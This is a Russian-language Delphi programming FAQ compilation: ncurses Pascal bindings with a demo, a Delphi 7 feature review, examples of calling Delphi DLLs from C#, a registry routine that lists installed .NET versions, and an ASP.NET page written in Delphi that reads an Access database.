  function noecho : Integer; cdecl;
  {$EXTERNALSYM noecho}
  function notimeout(win : PWINDOW; b : Boolean) : Integer; cdecl;
  {$EXTERNALSYM notimeout}
  function pechochar(win : PWINDOW; ch : chtype) : Integer; cdecl;
  {$EXTERNALSYM pechochar}
  function resizeterm(lines, columns : Integer) : Integer; cdecl;
  {$EXTERNALSYM resizeterm}
  function scroll(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM scroll}
  function scrollok(win : PWINDOW; b : Boolean) : Integer; cdecl;
  {$EXTERNALSYM scrollok}
  function set_attr(win : PWINDOW; attr : Integer) : Integer;
  function start_color : Integer; cdecl;
  {$EXTERNALSYM start_color}
  function timeout(delay : Integer) : Integer; cdecl;
  {$EXTERNALSYM timeout}
  function ungetch(ch : Integer) : Integer; cdecl;
  {$EXTERNALSYM ungetch}
  function unset_attr(win : PWINDOW; attr : Integer) : Integer;
  function waddch(win : PWINDOW; ch : chtype) : Integer; cdecl;
  {$EXTERNALSYM waddch}
  function waddstr(win : PWINDOW; str : PChar) : Integer; cdecl;
  {$EXTERNALSYM waddstr}
  function wattr_get(win : PWINDOW; var attrs : attr_t; var pair : Word; opts : Pointer) : Integer; cdecl;
  {$EXTERNALSYM wattr_get}
  function wattrset(win : PWINDOW; attrs : Integer) : Integer;
  {$EXTERNALSYM wattrset}
  function wclear(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wclear}
  function wclrtoeol(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wclrtoeol}
  function wcolor_set(win : PWINDOW; Colors : Word; opts : Pointer) : Integer; cdecl;
  {$EXTERNALSYM wcolor_set}
  function wdelch(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wdelch}
  function wdeleteln(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wdeleteln}
  function wenclose(win : PWindow; y, x : Integer) : Boolean; cdecl;
  {$EXTERNALSYM wenclose}
  function werase(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM werase}
  function wgetch(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wgetch}
  function wgetnstr(win : PWINDOW; str : PChar; n : Integer) : Integer; cdecl;
  {$EXTERNALSYM wgetnstr}
  function winch(win : PWINDOW) : chtype; cdecl;
  {$EXTERNALSYM winch}
  function winsch(win : PWINDOW; ch : chtype) : Integer; cdecl;
  {$EXTERNALSYM winsch}
  function winsdelln(win : PWINDOW; n : Integer) : Integer; cdecl;
  {$EXTERNALSYM winsdelln}
  function winsstr(win : PWINDOW; str : PChar) : Integer; cdecl;
  {$EXTERNALSYM winsstr}
  function wmouse_trafo(win : PWINDOW; var pY, pX : Integer; to_screen : Boolean) : Boolean; cdecl;
  {$EXTERNALSYM wmouse_trafo}
  function wmove(win : PWINDOW; y, x : Integer) : Integer; cdecl;
  {$EXTERNALSYM wmove}
  function wrefresh(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM wrefresh}

implementation

const

  libname = 'libncurses.so';

  function cbreak : Integer; cdecl; external libname name 'cbreak';
  function def_prog_mode : Integer; cdecl; external libname name 'def_prog_mode';
  function define_key(definitions : PChar; keycode : Integer) : Integer; cdecl; external libname name 'define_key';
  function delwin(win : PWINDOW) : Integer; cdecl; external libname name 'delwin';
  function echo : Integer; cdecl; external libname name 'echo';
  function endwin : Integer; cdecl; external libname name 'endwin';
  function erasechar : Integer; cdecl; external libname name 'erasechar';
  function getmouse(var event : MEVENT) : Integer; cdecl; external libname name 'getmouse';
  function init_pair(pair, f, b : Word) : Integer; cdecl; external libname name 'init_pair';
  function initscr : PWINDOW; cdecl; external libname name 'initscr';
  function keypad(win : PWINDOW; b : Boolean) : Integer; cdecl; external libname name 'keypad';
  function leaveok(win : PWINDOW; b : Boolean) : Integer; cdecl; external libname name 'leaveok';
  function mousemask(newmask : mmask_t; var oldmask : mmask_t) : mmask_t; cdecl; external libname name 'mousemask';
  function mvwaddch(win : PWINDOW; y, x : Integer; ch : chtype) : Integer; cdecl; external libname name 'mvwaddch';
  function mvwin(win : PWINDOW; y, x : Integer) : Integer; cdecl; cdecl; external libname name 'mvwin';
  function newwin(nlines, ncols, begin_y, begin_x : Integer) : PWINDOW; cdecl; external libname name 'newwin';
  function nl : Integer; cdecl; external libname name 'nl';
  function nocbreak : Integer; cdecl; external libname name 'nocbreak';
  function nodelay(win : PWINDOW; b : Boolean) : Integer; cdecl; external libname name 'nodelay';
  function noecho : Integer; cdecl; external libname name 'noecho';
  function notimeout(win : PWINDOW; b : Boolean) : Integer; cdecl; external libname name 'notimeout';
  function pechochar(win : PWINDOW; ch : chtype) : Integer; cdecl; external libname name 'pechochar';
  function resizeterm(lines, columns : Integer) : Integer; cdecl; external libname name 'resizeterm';
  function scroll(win : PWINDOW) : Integer; cdecl; external libname name 'scroll';
  function scrollok(win : PWINDOW; b : Boolean) : Integer; cdecl; external libname name 'scrollok';
  function start_color : Integer; cdecl; external libname name 'start_color';
  function timeout(delay : Integer) : Integer; cdecl; external libname name 'timeout';
  function ungetch(ch : Integer) : Integer; cdecl; cdecl; external libname name 'ungetch';
  function waddch(win : PWINDOW; ch : chtype) : Integer; cdecl; external libname name 'waddch';
  function waddstr(win : PWINDOW; str : PChar) : Integer; cdecl; external libname name 'waddstr';
  function wattr_get(win : PWINDOW; var attrs : attr_t; var pair : Word; opts : Pointer) : Integer; cdecl; external libname name 'wattr_get';
//  function wattrset(win : PWindow; attrs : Integer) : Integer; cdecl; external libname name 'wattrset';
  function wclear(win : PWINDOW) : Integer; cdecl; external libname name 'wclear';
  function wclrtoeol(win : PWINDOW) : Integer; cdecl; external libname name 'wclrtoeol';
  function wcolor_set(win : PWINDOW; Colors : Word; opts: Pointer) : Integer; cdecl; external libname name 'wcolor_set';
  function wdelch(win : PWINDOW) : Integer; cdecl; external libname name 'wdelch';
  function wdeleteln(win :PWINDOW) : Integer; cdecl; external libname name 'wdeleteln';
  function wenclose(win : PWINDOW; y, x : Integer) : Boolean; cdecl; external libname name 'wenclose';
  function werase(win : PWINDOW) : Integer; cdecl; external libname name 'werase';
  function wgetch(win : PWINDOW) : Integer; cdecl; external libname name 'wgetch';
  function wgetnstr(win : PWINDOW; str : PChar; n : Integer) : Integer; cdecl;  external libname name 'wgetnstr';
  function winch(win : PWINDOW) : chtype; cdecl; external libname name 'winch';
  function winsch(win : PWINDOW; ch : chtype) : Integer; cdecl; external libname name 'winsch';
  function winsdelln(win : PWINDOW; n : Integer) : Integer; cdecl; external libname name 'winsdelln';
  function winsstr(win : PWINDOW; str : PChar) : Integer; cdecl; external libname name 'winsstr';
  function wmouse_trafo(win : PWINDOW; var pY, pX : Integer; to_screen : Boolean) : Boolean;  cdecl; external libname name 'wmouse_trafo';
  function wmove(win : PWINDOW; y, x : Integer) : Integer; cdecl; external libname name 'wmove';
  function wrefresh(win : PWINDOW) : Integer; cdecl; external libname name 'wrefresh';

  function getyx;
  begin
    y := win._cury;
    x := win._curx;
    Result := 0;
  end;

  function set_attr;
  begin
    win._attrs := win._attrs or attr;
    Result := 0;
  end;

  function unset_attr;
  begin
    win._attrs := win._attrs and not attr;
    Result := 0;
  end;

  function NCURSES_BITS;
  begin
    Result := mask shl (shift+8);
  end;

  function COLOR_PAIR;
  begin
    Result := NCURSES_BITS(n, 0);
  end;

  function wattrset;
  begin
    win._attrs := attrs;
    Result:=0;
  end;
end.

Пример использования:

{
  In order to see all the key codes
  you should run this program either in pure
  console mode or in terminals like XTerm,
  since the standart KDE terminal program
  reserves some keyboard and mouse keys for
  its own use.
  Also note that I've never seen a terminal
  program that supported ALL the ncurses features
  correctly.
}

program LinCRTDemo;

{$APPTYPE CONSOLE}

uses
  SysUtils, LinCRT;
var
  S : String;
  Key : Integer;
begin
  InitLinCRT;
  Window((ScrCols shr 1)-15, 1, (ScrCols shr 1)+15, 4);
  TextBackground(Blue);
  TextColor(White);
  ClrScr;
  GotoXY(2, 2);
  Write('Hello, this is LinCRT window.');
  GotoXY(2, 3);
  Write('Press any key to continue.');
  GetKey;
  Window(2, 7, 35, 10);
  SetColors(Yellow, Red);
  ClrScr;
  WriteLn('This is another window. Type some input and press [Enter].');
  ReadLn(S);
  Window(9, 12, 40, 15);
  SetColors(White, Green);
  ClrScr;
  Write('You have typed: ');
  Underline := True;
  WriteLn(S);
  Underline := False;
  Write('Press any key');
  GetKey;
  Window(1, 1, ScrCols, ScrLines);
  SetColors(LightGreen, Black);
  ClrScr;
  S := 'Now press some key or mouse button to see its code';
  GotoXY((ScrCols - Length(S)) shr 1, 1);
  Write(S);
  S := 'Or press [q] to quit.';
  GotoXY((ScrCols - Length(S)) shr 1, 2);
  WriteLn(S);
  InitMouse;
  Key := GetKey;
  while Key <> Byte('q') do
  begin
    Write(' '+IntToStr(Key));
    Key := GetKey;
  end;
  KillMouse;
  DoneLinCRT;
end.


КроссKylix - возможность под Windows Delphi получать Linux исполняемые файлы

Информация здесь:
http://crosskylix.untergrund.net/

Скачать можно здесь:
http://crosskylix.untergrund.net/crosskylix-100.zip

Автор: Remax
Взято с Vingrad.ru http://forum.vingrad.ru


.Net, Delphi8, Delphi 2005

Cодержание раздела:

Borland Delphi 7 - миграция в сторону .Net
.Net глазами дельфийца. Использование Delphi в .Net
Определение установленных версий .NET Framework в системе
Как создать консольное asp.net приложение с событиями delphi? New!
Дельфи 2005 - отчёт, как я был на конференции Борланда New!


Borland Delphi 7 - миграция в сторону .Net

Borland Delphi 7 - миграция в сторону .Net

Автор: Виталий Чужа
Qui non proficit, deficit. Теряет тот, кто не идет вперед

Delphi 7 Studio позиционируется как первый независимый инструмент для облегчения миграции к платформе .Net
Итак, перед нами очередная версия знаменитого продукта фирмы Borland - Delphi 7 Studio, о выходе которого было сообщено в пресс-релизе компании от 6 августа 2002 года. Новая версия Delphi позиционируется как первый независимый инструмент для облегчения миграции к платформе .Net и, будучи доступна с лета 2002 года, поставляется в четырех редакциях: Architect, Enterprise, Professional и Personal. В шестой версии, как вы помните, отсутствовала редакция Architect, да и само понятие (студии). Также нужно заметить, что, хотя Delphi несколько <потяжелела> и изменился перечень поддерживаемых операционных систем, системные требования Delphi 6 и Delphi 7 версий Enterprise, в основном, остались прежними.
Для версии Architect, которая является самой полной и дорогой (99) редакцией, требования к ПК выше - для полной установки ей требуется 540 Мб пространства на жестком диске. Цены на <стандартные> версии, по сравнению с Delphi 6, не изменились: Enterprise стоит 99, Professional - 9 .
Какие же новые возможности были включены в Delphi 7 Studio? Рассмотрим их по порядку.
Среда разработки
Изменения, затронувшие IDE, коснулись палитры компонент, достройщика кода, отладчика и настроек редактора кода. В палитре компонент появились следующие закладки: новая версия закладки System только для CLX-приложений, закладки Indy Intercepts и Indy I/O Handlers, содержащие компоненты с поддержкой протоколов интернет с открытым исходным кодом (редакции Professional и Enterprise). Для разработки веб-приложений - новые закладки IW Standard, IW Data, IW Client Side, и IW Control с компонентами IntraWeb, а также новая закладка Rave с компонентами генерации отчетов. Кроме того, если закладка содержит компоненты, для доступа к которым необходима горизонтальная прокрутка, то теперь добраться до них можно и с помощью ниспадающего меню.
Достройщик кода (code completion) теперь работает быстрее и позволяет перейти к объявлениям элементов через их список путем нажатия клавиши <Ctrl> и клика мышью на любом идентификаторе в списке. Появился новый достройщик HTML-кода, который автоматически отображает нужные HTML-элементы и атрибуты в редакторе кода (для редакций Professional и Enterprise). Для удобства работы через меню Tools р Editor Options р Code Insight можно настроить цвета, используемые достройщиком кода. Также необходимо отметить возможность написания собственных менеджеров завершения кода.
Окно просмотра сообщений отладчика (Watch List) обзавелось множеством закладок для облегчения процесса отлова ошибок. Каждую закладку можно настроить - отображать ее или спрятать. Диалоговое окно Run Parameters теперь имеет новую настройку: рабочий каталог (Working Directory), указав который, можно настроить каталог, используемый для отладки.
Из Project Manager можно компилировать лишь часть проектов в группе, щелкнув правой кнопкой по проекту и выбрав пункты меню Make All from Here или Build All from Here, а в окне просмотра сообщений (Message view) появилось множество закладок для отображения разных типов сообщений (Build, Search, и т. д.) В окне, доступном через меню View р Component List, можно выбирать несколько компонент с помощью клавиши <Ctrl>. Окно настроек редактора кода, доступное через меню Tools р Editor Options р Source Options, позволяет устанавливать различные настройки для языков Pascal, C++, C#, HTML, XML, контролировать отображение знаков пробела и табуляции, редактировать шаблоны кода. Окно, доступное через меню Tools р Editor Options р Color, имеет две новые настройки: цвет символа (Foreground Color) и цвет фона (Background Color) - вместо цветовой сетки для настройки цвета в редакторе кода.
Веб-технологии
В седьмую версию Delphi вошел набор компонент IntraWeb от AtoZed Software, который может быть использован для написания приложений веб-сервера с использованием стандартного инструментария разработки форм. IntraWeb также годится для разработки страниц Web Broker и WebSnap приложений. Полная версия IntraWeb входит в состав редакции Delphi Enterprise. Delphi также поддерживает Apache 2 - как целевой тип для Web Broker, WebSnap и SOAP. В то же время Borland не рекомендует использовать Win-CGI для приложений веб-сервера или веб-сервисов. Вместо этого рекомендуется использовать CGI, ISAPI/NSAPI, или Apache.
Веб-сервисы
Появился новый UDDI (Universal Description, Discovery, and Integration) браузер у волшебника импорта WSDL, который позволяет сканировать реестр UDDI для поиска веб-сервиса и импорта адреса WSDL документа. Сам реестр UDDI является базой данных, в которой регистрируются компании, поставляющие веб-сервисы. Новые классы и интерфейсы позволяют читать или вставлять заголовки в SOAP-конверты, пересылающие сообщения между клиентом и сервером. Приложения веб-сервисов (как клиентов, так и серверов) теперь в состоянии обрабатывать вложения. Вложения (наследники класса TSOAPAttachment) отсылаются вместе с закодированными сообщениями SOAP как часть составной формы. Когда приложение получает сообщение с вложением, оно сохраняет вложение во временном файле, доступном вашей программе.
Новые события, обрабатываемые компонентом THTTPReqResp, позволят вам перехватывать сообщения HTTP до их отсылки и отслеживать ход получения или отсылки длинных сообщений. В классе THTTPSoapPascalInvoker доступны сообщения, которые позволят написать код, исполняемый до или после того, как объект класса осуществит вызов запрашиваемого метода. Интерфейс IOPConvert получил новое свойство Encoding, что позволяет указать набор символов для использования в сообщениях, передаваемых между клиентом поставщиком веб-сервиса.
Базы данных
Обновлены драйвера dbExpress для Informix SE, Oracle 9i, DB2 7.2, InterBase 6.5 и MySQL 3.23.49. Новый драйвер поставляется и для MS SQL Server 2000. А вот SQL Links Borland не рекомендует использовать, более того - работа над усовершенствованием SQL Links прекращается. Сообщается также, что эта технология не будет поставляться вместе с Delphi после 2002 года. В виде замены рекомендовано использовать dbExpress для доступа к базам данных SQL серверов.
Прекращена также поддержка CORBA-соединений компонентами DataSnap.
Библиотека компонент
Приложения, написанные с использованием VCL, теперь включают компоненты, поддерживающие библиотеку элементов управления Windows шестой версии. Поэтому приложение будет автоматически использовать новые элементы управления Windows в ОС Windows XP, если найдет подходящий файл-манифест.
Новый модуль DBClientActns включает три новых компонента для работы с клиентскими наборами данных: TClientDataSetApply, TclientDataSetUndo и TClientDataSetRevert.
Закладка dbExpress включает новый компонент TSimpleDataSet для использования с простыми, двухуровневыми приложениями баз данных (TSimpleDataSet заменил собой TSQLClientDataSet). Обновлена закладка Dialogs на палитре компонент - добавлен TPageSetupDialog для представления стандартного диалогового окна Windows настройки параметров страницы. На закладку Additional добавлены компоненты TXPColorMap, TstandardColorMap и TtwilightColorMap для окраски меню и панелей инструментов.
У VCL-версии компонента TCustomForm добавились два новых свойства: ScreenSnap и SnapBuffer, контролирующие <прилипание> окна к краям экрана. Компонент TCustomComboBoxEx получил новое свойство AutoCompleteOptions, которое позволяет откликаться на ввод пользователя.
Библиотека времени выполнения
Модуль Classes содержит новый класс-исключение EFileStreamError. Классы EFCreateError и EFOpenError являются наследниками этого класса. Поскольку конструктор этого класса принимает имя файла как параметр, то в сообщении об исключительной ситуации можно видеть имя файла, в котором она произошла.
Класс TStrings также обладет теперь двумя новыми свойствами: ValueFromIndex и NameValueSeparator.
В модуле StrUtils также произошли определенные изменения, касающиеся работы с многобайтными наборами символов. Ранее функции LeftStr, RightStr и MidStr принимали параметр типа AnsiString и возвращали значение того же типа, не поддерживая многобайтные наборы символов. Теперь каждая из этих функций заменена парой перегруженных функций, одна из которых работает с типом AnsiString, а другая - с типом WideString. Также в модуль добавлена новая функция для поиска в строке, именуемая PosEx.
В модуле SysUtils функции, работающие над форматированием и разбором чисел, валют и значений типа дата и время, заменены на безопасные при работе с нитями.
Модуль VarCmplx содержит новые функции VarComplexLog2, VarComplexLog10, VarComplexLogN, VarComplexTimesImaginary и VarComplexTimesReal.
В модуль Variants добавлены функции VarIsError и VarAsError. Исключение EVariantError теперь является родительским классом для более тщательно разработанных классов-исключений, которые используются в коде с использованием переменных типа variant.
Компилятор
Компилятор Delphi поддерживает три дополнительных предупреждения: Unsafe_Type, Unsafe_Code и Unsafe_Cast. Эти предупреждения по умолчанию отключены, однако их можно задействовать с помощью директив компилятора {$WARN UNSAFE_CODE ON}, команды компилятора командной строки (dcc32 -W+UNSAFE_CODE), или посредством среды разработки, воспользовавшись меню Project р Options р Compiler Messages. Эта особенность должна помочь вам портировать код в окружение управляемого выполнения платформы Microsoft .NET. В этом окружении значит, что действия, выполняемые программой, не могут быть проверены во время анализа, осуществляемого Just In Time (JIT) компилятором. Такой код представляется небезопасным. Примером такого кода могут послужить операции с указателями.
Поддержка Rave Reports (для редакции Professional и Enterprise)
Вместе с Delphi теперь поставляется набор компонент для генерации отчетов Rave Reports фирмы Nevrona. Полное его название - Rave 4.0 Borland Edition (BE). Включает 19 компонентов, содержащих более 500 методов, свойств и событий. Компоненты компилируются в ехе-файл приложения и не требуют для работы никаких дополнительных файлов. В генератор отчетов включена поддержка графики, выравнивания и переноса текста, точное позиционирование страницы, конфигурирование принтера, управление шрифтами, полнофункциональный предпросмотр. Rave 4.0 BE справляется и с отчетами вида master-detail, письмами, счетами и т. д. (рис. 1)
Поддержка ModelMaker (для редакции Professional и Enterprise)
ModelMaker призван помочь упростить дизайн, разработку и поддержку классов и интерфейсов. ModelMaker также включает инструменты для создания диаграмм в стиле UML (Unified Modeling Language), которые могут быть использованы для создания и модификации исходного кода проекта.
Отмечу, что версия Delphi Enterprise включает полноценную версию ModelMaker, а Delphi Professional - лишь 30-дневную пробную версию, хотя функциональность обоих версий одинакова.
Заключение
Несмотря на множество нововведений в этой версии Borland Delphi, можно отметить, как минимум, три важные тенденции.
Первая - сворачивание собственных технологий, таких как Borland Database Engine (BDE) и SQL Links. Кажется вероятным отказ от набора компонент Quick Reports, успешно поставлявшихся с несколькими последними версиями Delphi.
Вторая - ставшая уже традиционной поддержка написания приложений для Linux.
Третья - на мой взгляд, более важная - постепенный отход ведущих средств разработки от платформы Win32 и их миграция в сторону платформы .Net. И хотя, как сказано в пресс-релизе Borland, за одну ночь новая платформа не изменит технологию разработки и распространения приложений, однако платформа .Net - следующая, эволюционная ступень Windows, приход которой неизбежен. Принимая во внимание тот факт, что разработчики в основной своей массе люди инертные, а также то, что на изучение новых технологий необходимо довольно много времени и средств, Borland сделала ставку на необходимость эволюционного развития Delphi и, на мой взгляд, не ошиблась. Включение в эту версию подсказок и предупреждений компилятора, касающихся совместимости с Microsoft .Net, возможности импорта узлов (assembly) .Net в Delphi и экспорта COM объектов в приложения .Net, подтверждает сказанное выше. Полноценная же поддержка этой многообещающей платформы наверняка будет реализована в следующей версии Delphi - Delphi .Net, которую и будем с нетерпением ждать.

Взято с сайта http://delphi.h5.ru


.Net глазами дельфийца. Использование Delphi в .Net

.Net глазами дельфийца. Использование Delphi в .Net
Для программистов, рассматривающих вопрос перехода на новую систему разработки, один из главных вопросов – как в новой системе можно будет использовать старые наработки.
В настоящей статье рассмотрены некоторые простые способы использования наработок Delphi (автор использовал версию 6) в .Net. Естественно, полностью портировать Delphi в .Net под силу только разработчикам Borland (или аналогичным серьезным людям, владеющим к тому же полными исходниками Delphi), поэтому здесь мы не будем рассматривать клиентские (визуальные) приложения, использующие VCL. Тем не менее некоторый объем функционального кода, реализованного в Delphi, может быть использован и в .Net (пример такого кода – вычислительные модули).
Итак, для переноса Delphi-кода в .Net можно использовать следующие способы:
- переписывание кода;
- использование в .Net COM-объектов, разработанных в Delphi;
- использование в .Net библиотек DLL, разработанных в Delphi;
- хакерские способы
Переписывание кода
Этот способ, несмотря на его прямолинейность, в некоторых случаях может оказаться наиболее рациональным и даже упростить результирующий код.
Техника переноса алгоритмов на другие языки знакома многим программистам. Более того, существуют автоматические трансляторы типа Pas2C, которые входной паскалевский код преобразуют в C/C++-код (естественно, кое-что приходится править потом вручную, но основа получается вполне приемлемая).
Не останавливаясь подробно на очевидных моментах ручной трансляции кода, хотелось бы напомнить следующее:
- поскольку в C# нет процедур и функций вне классов, для реализации глобальных подпрограмм целесообразно использовать специальный(-ые) класс(ы) со статическими методами;
- поскольку в C# нет глобальных переменных, для их реализации целесообразно использовать специальный(-ые) класс(ы) со статическими полями;
- для реализации конструкций, эквивалентных записям Delphi, можно использовать как классы, так и структуры (struct) – решение зависит от объема данных, которые, возможно, будут копироваться при передаче в качестве параметров и пр.;
- поскольку в C# объекты удаляются автоматически, необходимо тщательно проанализировать последовательность создания и удаления объектов, особенно если в Delphi-объектах в деструкторе выполнялось освобождение ресурсов – в таких случаях оптимальным вариантом будет или введение соответствующих методов «закрытия», или реализация интерфейса IDisposable.

Использование в .Net COM-объектов, разработанных в Delphi
Поскольку стандарт OLE четко определяет протокол обмена и форматы данных, то никаких особенностей при разработке COM-объектов в Delphi нет (не считая того, что нежелательно использовать имена методов, совпадающие с методами класса Object из C#: Equals, GetHashCode, GetType, ReferenceEquals, ToString).
Если же исходный код реализован, например, в виде набора классов Delphi, то можно написать в Delphi очень простой COM-объект (inproc-server), который будет выполнять функции фасада (см. например Шаблоны проектирования на www.dotsite.spb.ru ).
Кстати, во многих случаях введение «фасада» позволяет даже упростить систему со стороны основного кода.
Использование в .Net библиотек DLL, разработанных в Delphi
Т.к. в Delphi позволяет разрабатывать динамические библиотеки DLL, то можно существующий Delphi-код «упаковать» в библиотеку. Этот способ заставляет выполнить несколько бОльшую работу в C#, чем при использовании COM-объектов, хотя в некоторых случаях вполне может быть использован из соображений, например, быстродействия системы.
Вызов функций DLL из C# достаточно неплохо описан в документации .Net. Ниже приводится пример использования DLL, разработанной в Delphi.

Заголовки DLL-функций в Delphi:
// Процедура без параметров
procedure Proc1; stdcall;
// Процедура с целочисленными параметрами
procedure Proc2(A, B: integer); stdcall;
// Процедура с вещественными параметрами
procedure Proc3(A, B: double); stdcall;
// Процедура с логическими параметрами
procedure Proc4(A, B: boolean); stdcall;
// Процедура с параметрами типа дата/время
procedure Proc5(A, B: TDateTime); stdcall;
// Процедура со строковыми параметрами
procedure Proc6(P1, P2: PChar); stdcall;

Обратите внимание на два момента:
- используется модификатор вызова stdcall
- строки в качестве параметров передаются как PChar

using System;

using System.Runtime.InteropServices;

namespace Test1
{
  /// <summary>
  /// Обертка для вызова функций Delphi, размещенных в DLL
  /// </summary>
  public class LibWrap {
    /// <summary>
    /// Процедура без параметров
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc1();
    /// <summary>
    /// Процедура с целочисленными параметрами
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc2(int A, int B);
    /// <summary>
    /// Процедура с вещественными параметрами
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc3(double A, double B);
    /// <summary>
    /// Процедура с логическими параметрами
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc4(bool A, bool B);
    /// <summary>
    /// Процедура с параметрами типа дата/время
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc5(double A, double B);
    /// <summary>
    /// Процедура со строковыми параметрами
    /// </summary>
    [ DllImport( @"C:\Projects\C#\DelphiPortal\Dll1.dll" ) ]
    public static extern void Proc6(
      [MarshalAs(UnmanagedType.LPStr)] string A,
      [MarshalAs(UnmanagedType.LPStr)] string B);
  }
  /// <summary>
  /// Тестовый класс
  /// </summary>
  class Class1 {
    [STAThread]
    static void Main() {
      // Вызов процедуры без параметров
      LibWrap.Proc1();
      /// Вызов процедуры с целочисленными параметрами
      LibWrap.Proc2(1, 2);
      // Вызов процедуры с вещественными параметрами
      LibWrap.Proc3(1.5, -2.8);
      // Вызов процедуры с логическими параметрами
      LibWrap.Proc4(true, false);
      // Вызов процедуры с параметрами типа дата/время
      DateTime dt1 = DateTime.Now;
      DateTime dt2 = dt1.AddDays(2);
      LibWrap.Proc5(dt1.ToOADate(), dt2.ToOADate());
      // Вызов процедуры со строковыми параметрами
      LibWrap.Proc6("Строка 1", "Строка 2");
    }
  }
}

В коде C# стОит обратить внимание на следующее:
- при описании метода LibWrap.Proc5, работающего с параметрами типа дата/время, типы параметров - double
- при описании метода LibWrap.Proc6, работающего со строковыми параметрами, необходимо в явном виде указывать способ маршализации (атрибут MarshalAs)
- объекты типа DateTime преобразуются в формат, понятный для Delphi, с помощью методов ToOADate

Хакерские способы
В каталоге <Microsoft Visual Studio .NET>\FrameworkSDK\Samples\Technologies\Interop\PlatformInvoke\Custom\CS имеется интересный файл - ClassMethods.cs. В этом файле показано, как вызывать классы VC++, размещенные в DLL. Этот пример натолкнул автора статьи на мысль проверить что-то подобное с Delphi.
Т.к. пакеты в Delphi – не что иное, как DLL, такой вариант выглядел возможным. Более того, с помощью утилиты Depends.Exe, входящей в состав VSN (<Microsoft Visual Studio .NET>\Common7\Tools\Bin), при исследовании соответствующего BPL-файла можно даже увидеть имена экспортируемых функций в стиле C++, например:

@$xp$14Class1@TClass1
@Class1@TClass1@

К сожалению, автору не удалось запустить таким образом объекты <

Взято с сайта http://delphi.h5.ru


Определение установленных версий .NET Framework в системе

/// <summary>
/// Enumerates all installed Common Language Runtime Engines.
/// </summary>
/// <param name="Index">Zero-based index of looked runtime
record.</param>
/// <returns>True if runtime with specified index found.</returns>

function EnumInstalledRuntimes(Index: Integer; out VersionName: String):
Boolean;
var
  hkey: Windows.HKEY;
  hsubkey: Windows.HKEY;
  I: Cardinal;
  J: Cardinal;
  NameBuf: array[0..MAX_PATH] of Char;
  CNameBuf: Cardinal;
  lwt: TFileTime;
  vt: DWORD;
  AnyFound: Boolean;
begin
  Result := False;
  VersionName := '';
  if ERROR_SUCCESS = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  PChar('SOFTWARE\Microsoft\.NETFramework\policy'), 0,
  KEY_ENUMERATE_SUB_KEYS, hkey) then
  try
    I := 0;
    while True do
    begin
      AnyFound := False;
      CNameBuf := MAX_PATH + 1;
      if ERROR_SUCCESS <> RegEnumKeyEx(hkey, I, @NameBuf[0], CNameBuf,nil, nil, nil, @lwt) then
      begin
        Break;
      end;
      if (NameBuf[0] = 'v') and (NameBuf[1] in ['1'..'9']) then
      begin
        VersionName := String(NameBuf);
        if ERROR_SUCCESS = RegOpenKeyEx(hkey, @NameBuf[0], 0,KEY_QUERY_VALUE, hsubkey) then
        try
          J := 0;
          while true do
          begin
            CNameBuf := MAX_PATH + 1;
            if ERROR_SUCCESS <> RegEnumValue(hsubkey, J, @NameBuf[0],CNameBuf, nil, @vt, nil, nil) then
            begin
              Break;
            end;
            if (vt = REG_SZ) and (NameBuf[0] <> #0) then
            begin
              VersionName := VersionName + '.' + String(NameBuf);
              AnyFound := True;
              Break;
            end;
            Inc(J);
          end;
        finally
          RegCloseKey(hsubkey);
        end;
      end;
      Inc(I);
      if AnyFound then
      begin
        if Index = 0 then
        begin
          Result := True;
          Break;
        end;
        Dec(Index);
      end;
    end;
  finally
    RegCloseKey(hkey);
  end;
end;

Автор Акжан Абдулин
Взято с сайта http://www.delphikingdom.ru/


Как создать консольное asp.net приложение с событиями delphi?

{
****************** Below is a complete listing for an ASPX file to open and
read an ACCESS database. Obviously the source=c:\mydb.mdb declaration should
be changed to point to your own database. The sql commands will also need to
be ammended to point to the correct tables and values. This souce code is a
translation from native c#. Any problems with the code or , thanks, comments
or general abuse over codeing standrds should be sent to andychap@hotmail.com,
Please put "delphi" in the subject line so I can junk filter.

Good luck.....

As another issue I've also got some examples I've written for Delphi for Dot Net
doing similar stuff

**********************************************************************************
}

<%@ Page Language="Delphi" %>
<%@ import Namespace="System.Data" %>
<%@ import Namespace="System.Data.OleDb" %>
<script runat="server">
  procedure Button1Click(Sender: System.Object; E: EventArgs);
    var
      MyConnection : OleDbConnection ;
      dbReader : OleDbDataReader;
      cmd : OleDbCommand;
      abc : string;
      outval : string;
      intval : longint;
  begin
    abc := 'Provider=Microsoft.Jet.OLEDB.4.0;Password=;Data Source=c:\mydb.mdb';
    MyConnection := OleDbConnection.Create(abc);
    MyConnection.Open;
    cmd := MyConnection.CreateCommand;
    cmd.CommandText := 'Select * from Table1';
    dbReader := cmd.ExecuteReader;
    while (dbReader.Read) do
      begin
        intval := dbReader.GetInt32(0);
        outval := dbReader.GetString(1);
      end;
    Label1.Text := inttostr(intval);
  end;

  procedure Button2Click(Sender: System.Object; E: EventArgs);
    var
     ConnStr : string;
     CommTxt : string;
     MyConnection : OleDbConnection ;
     abc : string;
     cmdText : string;
     cmd : OleDbCommand;

  begin
    ConnStr := 'Provider=Microsoft.Jet.OLEDB.4.0;Password=;Data Source=c:\mydb.mdb';
    CommTxt := 'select andy as [first name], chapman as [Last Name] from Table1';
    abc := 'Provider=Microsoft.Jet.OLEDB.4.0;Password=;Data Source=c:\mydb.mdb';
    MyConnection := OleDbConnection.Create(abc);
    cmd := OleDbCommand.Create(CommTxt,MyConnection);
    MyConnection.Open;
    DataGrid1.DataSource := cmd.ExecuteReader(CommandBehavior.CloseConnection);
    DataGrid1.DataBind();
  end;
</script>
<html>
<head>
</head>
